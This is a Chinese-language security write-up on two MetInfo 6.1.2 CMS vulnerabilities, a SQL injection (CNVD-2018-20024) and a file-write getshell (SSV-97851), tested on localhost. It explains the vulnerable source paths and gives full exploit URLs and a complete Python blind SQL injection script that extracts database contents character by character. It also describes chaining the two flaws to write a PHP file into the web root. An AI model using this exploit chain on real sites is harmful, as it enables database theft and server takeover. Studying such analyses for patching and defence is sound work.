简介Metinfo是一个用MYSQL+PHP开发的适用于中小型企业的CMS(建站系统)
2018年10月Metinfo被爆出存在SQL注入漏洞(CNVD-2018-20024)
2019年3月11号爆出Metinfo利用sql注入getshell漏洞(SSV-97851)
利用上述两个漏洞进行Getshell测试
漏洞解析
CNVD-2018-20024
源码
/app/system/message/web/message.class.php
观察高亮部分语句,发现columnid参数的数据没有用单引号括起来,期待用户输入一个数值,如果没有过滤参数,可以直接进行SQL注入
例:
跟进okinfo函数
但没有过滤是不可能的,看install/index.php文件中
调用daddslashes()函数对客户端传入的参数进行过滤,跟进daddslashes()函数
如果魔法引号开关未开启,进行数据过滤,高亮部分根据IN_ADMIN这个常量是否定义,决定使用过滤函数的方式。addslashes()只是转义了预定义字符(单引号、双引号、反斜杠),但sqlinsert()这个函数则基本过滤了敏感词,无法进行SQL注入。所以是否定义IN_ADMIN常量成为突破口。在源码中搜索关键词’IN_ADMIN’
发现在admin/index.php中定义了IN_ADMIN,其实就是后台管理员登陆的入口
admin/index.php中不止定义了IN_ADMIN,还获取了好几个$_GET参数,通过这几个参数,可以访问普通用户能访问到的所有页面。
通过admin/index.php访问message页面
http://127.0.0.1/metinfo6.1.2/admin/index.php? m=web&n=message&c=message&a=domessage
观察domessage函数,可以控制action字段,访问add函数
添加完整参数访问存在漏洞函数
http://127.0.0.1/metinfo6.1.2/admin/index.php?m=web&n=message&c=message&a=domessage&action=add¶137=huha¶186=1212341234@qq.com¶138=789¶140=789&code=1234&lang=cn
配合id参数进行盲注dump数据库注:并不是所有类的方法都可以直接通过admin/index.php直接访问
本地测试# 盲注脚本
import requests
def doinject(url, sqli_input, i, num):
# 在这里可以自定义你的payload
payload = "ascii(substr((%s),%d,1))>%d&code=5R8j" % (sqli_input, i + 1, num)
r = requests.get(url + payload)
# 在这里定义对于不同响应的处理
if "验证码错误" in r.text:
return True
else:
return False
def getvalue(url, len, sqli_input):
# 二分法
flag = ''
for i in range(len):
s = 33
t = 126
while (s < t):
m = (s + t) / 2
result = doinject(url, sqli_input, i, m)
if result:
s = m + 1
else:
t = m
if (t - s <= 1):
if (doinject(url, sqli_input, i, s)):
m = t
break
else:
m = s
break
flag += chr(int(m))
print (flag)
if __name__ == '__main__':
# 目标url
base_url = "http://127.0.0.1/metinfo6.1.2/admin/index.php"
query = "?m=web&n=message&c=message&a=domessage&action=add¶137=huha¶186=1278570385@qq.com¶138=789¶140=789&lang=cn&id=42 and "
url = base_url+query
print(url)
# 在这里定义你的注入语句
sqli_input = 'select database()'
getvalue(url, 30, sqli_input)
漏洞解析
SSV-97851
源码
app/system/include/class/web.class.php
调用ob_get_contents()函数将缓冲区的数据写进$output变量中。注:如果程序开启了缓冲区,PHP会先将要输出的数据放到内存中,等待指令输出。
继续往下看,如果if后面的判断语句成立,就会将output变量,也就是缓冲区的内容写入到PATH_WEB.$filename文件中,表达式要成立的关键是metindonow字段的内容跟met_member_force字段的内容相同,$_M['config']['met_member_force']是建站时配置的初始化参数,可以在install/index.php中找到,这个字段的值是运用randstr(7)求出的一个随机7位小写字符串
很明显这个字段存在数据库中,可以利用上一个漏洞SQL注入获取信息,因为$_M['form']['html_filename']是可控的,所以output写入的文件名是可控的
现在最关心的就是$output的值,也就是文件内容是否是可控的,找到输出缓冲区的地方:
app/system/include/module/uploadify.class.php中的上传文件函数
这个类继承了上面那个web基类的析构函数,echo语句输出的内容暂存在缓冲区中,可以利用注入出来的$_M['config']['met_member_force']字段将echo语句内容写入到文件中
跟进upload方法,发现可以控制['formname']字段将上传文件属性存储到$filear变量中
如果上传的文件名后缀不在系统给出的白名单中,会调用error函数将后缀名写到$back变量中
观察后缀名处理函数,发现如果文件没有后缀名,那么文件名就是后缀名,上传文件名是可控的,即写入缓冲区的内容是可控的
类似第一个漏洞,利用admin/index.php添加参数访问doupload漏洞函数,修改参数任意上传文件
本地测试
利用burp抓包构建payload
在网站根目录写入5.php文件
至此,可以利用Metinfo的SQL注入Getshell
相关